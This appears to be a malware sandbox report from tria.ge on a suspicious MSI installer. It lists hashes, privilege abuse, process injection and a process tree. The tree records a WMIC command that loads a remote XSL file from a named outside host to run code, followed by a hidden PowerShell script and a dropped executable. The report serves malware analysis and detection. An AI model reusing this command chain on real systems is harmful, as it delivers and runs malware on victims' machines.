Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
8test/91B5D...9D.msi
windows7_x64
8test/91B5D...9D.msi
windows10-2004_x64
1test/ed01e...aa.exe
windows7_x64
10test/ed01e...aa.exe
windows10-2004_x64
10test/fe9d7...8f.exe
windows7_x64
10test/fe9d7...8f.exe
windows10-2004_x64
10test/main.exe
windows7_x64
1test/main.exe
windows10-2004_x64
10test/main_temp.exe
windows7_x64
1test/main_temp.exe
windows10-2004_x64
1Analysis
-
max time kernel
27s -
max time network
33s -
platform
windows7_x64 -
resource
win7-ja-20211208 -
submitted
19/01/2022, 15:40
Static task
static1
Behavioral task
behavioral1
Sample
test/91B5DB3C0CCBD68BD04C24571E27F99D.msi
Resource
win7-ja-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
test/91B5DB3C0CCBD68BD04C24571E27F99D.msi
Resource
win10v2004-ja-20220113
windows10-2004_x64
0 signatures
0 seconds
Behavioral task
behavioral3
Sample
test/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win7-ja-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral4
Sample
test/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win10v2004-ja-20220112
windows10-2004_x64
0 signatures
0 seconds
Behavioral task
behavioral5
Sample
test/fe9d72dd4b046bafdd144902ab570297629f83d06afb5a9ba7703382a29d588f.exe
Resource
win7-ja-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral6
Sample
test/fe9d72dd4b046bafdd144902ab570297629f83d06afb5a9ba7703382a29d588f.exe
Resource
win10v2004-ja-20220112
windows10-2004_x64
0 signatures
0 seconds
Behavioral task
behavioral7
Sample
test/main.exe
Resource
win7-ja-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral8
Sample
test/main.exe
Resource
win10v2004-ja-20220112
windows10-2004_x64
0 signatures
0 seconds
Behavioral task
behavioral9
Sample
test/main_temp.exe
Resource
win7-ja-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral10
Sample
test/main_temp.exe
Resource
win10v2004-ja-20220112
windows10-2004_x64
0 signatures
0 seconds
General
-
Target
test/91B5DB3C0CCBD68BD04C24571E27F99D.msi
-
Size
277KB
-
MD5
91b5db3c0ccbd68bd04c24571e27f99d
-
SHA1
b01cb4fe38315d41fcbe9c6278ebe4574496ab0d
-
SHA256
ec85138598c57c6a6bdb5ed470614f582d3b5a8c6b243eb2f41b9970ea13d130
-
SHA512
9f0b07f961625fcc06ee64fcfe5e35e0d40db81f75c3cbc584434c1925fac241db69cac3c1a1bf329d965a4df9bdaa53c13bb8ea3206e2c9d4facf7f74ba21b7
Score
8/10
Malware Config
Signatures
-
Blocklisted process makes network request 3 IoCs
flow pid Process 5 2020 MsiExec.exe 7 1908 WMIC.exe 9 860 MsiExec.exe -
Executes dropped EXE 1 IoCs
pid Process 1932 lc7CCE.tmp -
Loads dropped DLL 5 IoCs
pid Process 860 MsiExec.exe 860 MsiExec.exe 860 MsiExec.exe 860 MsiExec.exe 860 MsiExec.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\I: msiexec.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Drops file in Windows directory 8 IoCs
description ioc Process File created C:\Windows\Installer\f764194.ipi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\f764192.msi msiexec.exe File opened for modification C:\Windows\Installer\f764192.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI600A.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6BAF.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI7C63.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8356.tmp msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1184 powershell.exe 1184 powershell.exe 672 msiexec.exe 672 msiexec.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1768 msiexec.exe Token: SeIncreaseQuotaPrivilege 1768 msiexec.exe Token: SeRestorePrivilege 672 msiexec.exe Token: SeTakeOwnershipPrivilege 672 msiexec.exe Token: SeSecurityPrivilege 672 msiexec.exe Token: SeCreateTokenPrivilege 1768 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1768 msiexec.exe Token: SeLockMemoryPrivilege 1768 msiexec.exe Token: SeIncreaseQuotaPrivilege 1768 msiexec.exe Token: SeMachineAccountPrivilege 1768 msiexec.exe Token: SeTcbPrivilege 1768 msiexec.exe Token: SeSecurityPrivilege 1768 msiexec.exe Token: SeTakeOwnershipPrivilege 1768 msiexec.exe Token: SeLoadDriverPrivilege 1768 msiexec.exe Token: SeSystemProfilePrivilege 1768 msiexec.exe Token: SeSystemtimePrivilege 1768 msiexec.exe Token: SeProfSingleProcessPrivilege 1768 msiexec.exe Token: SeIncBasePriorityPrivilege 1768 msiexec.exe Token: SeCreatePagefilePrivilege 1768 msiexec.exe Token: SeCreatePermanentPrivilege 1768 msiexec.exe Token: SeBackupPrivilege 1768 msiexec.exe Token: SeRestorePrivilege 1768 msiexec.exe Token: SeShutdownPrivilege 1768 msiexec.exe Token: SeDebugPrivilege 1768 msiexec.exe Token: SeAuditPrivilege 1768 msiexec.exe Token: SeSystemEnvironmentPrivilege 1768 msiexec.exe Token: SeChangeNotifyPrivilege 1768 msiexec.exe Token: SeRemoteShutdownPrivilege 1768 msiexec.exe Token: SeUndockPrivilege 1768 msiexec.exe Token: SeSyncAgentPrivilege 1768 msiexec.exe Token: SeEnableDelegationPrivilege 1768 msiexec.exe Token: SeManageVolumePrivilege 1768 msiexec.exe Token: SeImpersonatePrivilege 1768 msiexec.exe Token: SeCreateGlobalPrivilege 1768 msiexec.exe Token: SeRestorePrivilege 672 msiexec.exe Token: SeTakeOwnershipPrivilege 672 msiexec.exe Token: SeIncreaseQuotaPrivilege 1908 WMIC.exe Token: SeSecurityPrivilege 1908 WMIC.exe Token: SeTakeOwnershipPrivilege 1908 WMIC.exe Token: SeLoadDriverPrivilege 1908 WMIC.exe Token: SeSystemProfilePrivilege 1908 WMIC.exe Token: SeSystemtimePrivilege 1908 WMIC.exe Token: SeProfSingleProcessPrivilege 1908 WMIC.exe Token: SeIncBasePriorityPrivilege 1908 WMIC.exe Token: SeCreatePagefilePrivilege 1908 WMIC.exe Token: SeBackupPrivilege 1908 WMIC.exe Token: SeRestorePrivilege 1908 WMIC.exe Token: SeShutdownPrivilege 1908 WMIC.exe Token: SeDebugPrivilege 1908 WMIC.exe Token: SeSystemEnvironmentPrivilege 1908 WMIC.exe Token: SeRemoteShutdownPrivilege 1908 WMIC.exe Token: SeUndockPrivilege 1908 WMIC.exe Token: SeManageVolumePrivilege 1908 WMIC.exe Token: 33 1908 WMIC.exe Token: 34 1908 WMIC.exe Token: 35 1908 WMIC.exe Token: SeRestorePrivilege 672 msiexec.exe Token: SeTakeOwnershipPrivilege 672 msiexec.exe Token: SeIncreaseQuotaPrivilege 1908 WMIC.exe Token: SeSecurityPrivilege 1908 WMIC.exe Token: SeTakeOwnershipPrivilege 1908 WMIC.exe Token: SeLoadDriverPrivilege 1908 WMIC.exe Token: SeSystemProfilePrivilege 1908 WMIC.exe Token: SeSystemtimePrivilege 1908 WMIC.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1768 msiexec.exe -
Suspicious use of WriteProcessMemory 25 IoCs
description pid Process procid_target PID 672 wrote to memory of 2020 672 msiexec.exe 28 PID 672 wrote to memory of 2020 672 msiexec.exe 28 PID 672 wrote to memory of 2020 672 msiexec.exe 28 PID 672 wrote to memory of 2020 672 msiexec.exe 28 PID 672 wrote to memory of 2020 672 msiexec.exe 28 PID 2020 wrote to memory of 1908 2020 MsiExec.exe 30 PID 2020 wrote to memory of 1908 2020 MsiExec.exe 30 PID 2020 wrote to memory of 1908 2020 MsiExec.exe 30 PID 672 wrote to memory of 860 672 msiexec.exe 32 PID 672 wrote to memory of 860 672 msiexec.exe 32 PID 672 wrote to memory of 860 672 msiexec.exe 32 PID 672 wrote to memory of 860 672 msiexec.exe 32 PID 672 wrote to memory of 860 672 msiexec.exe 32 PID 672 wrote to memory of 860 672 msiexec.exe 32 PID 672 wrote to memory of 860 672 msiexec.exe 32 PID 1908 wrote to memory of 1184 1908 WMIC.exe 33 PID 1908 wrote to memory of 1184 1908 WMIC.exe 33 PID 1908 wrote to memory of 1184 1908 WMIC.exe 33 PID 860 wrote to memory of 1932 860 MsiExec.exe 35 PID 860 wrote to memory of 1932 860 MsiExec.exe 35 PID 860 wrote to memory of 1932 860 MsiExec.exe 35 PID 860 wrote to memory of 1932 860 MsiExec.exe 35 PID 860 wrote to memory of 1932 860 MsiExec.exe 35 PID 860 wrote to memory of 1932 860 MsiExec.exe 35 PID 860 wrote to memory of 1932 860 MsiExec.exe 35
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\test\91B5DB3C0CCBD68BD04C24571E27F99D.msi1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1768
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:672 -
C:\Windows\system32\MsiExec.exeC:\Windows\system32\MsiExec.exe -Embedding C15203D9BA38D081398EBB2EB6C75E742⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2020 -
C:\Windows\System32\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" process get executablepath^,status /format:"http://barbosaoextra.com.br/dados/noticia/7/imagem/noar.xsl"3⤵
- Blocklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1908 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\Admin.ps1" -WindowStyle Hidden4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:1184
-
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 9624FCDC12F4A022A34346990EE9C2DC2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:860 -
C:\Users\Admin\AppData\Local\Temp\lc7CCE.tmp"C:\Users\Admin\AppData\Local\Temp\lc7CCE.tmp"3⤵
- Executes dropped EXE
PID:1932
-
-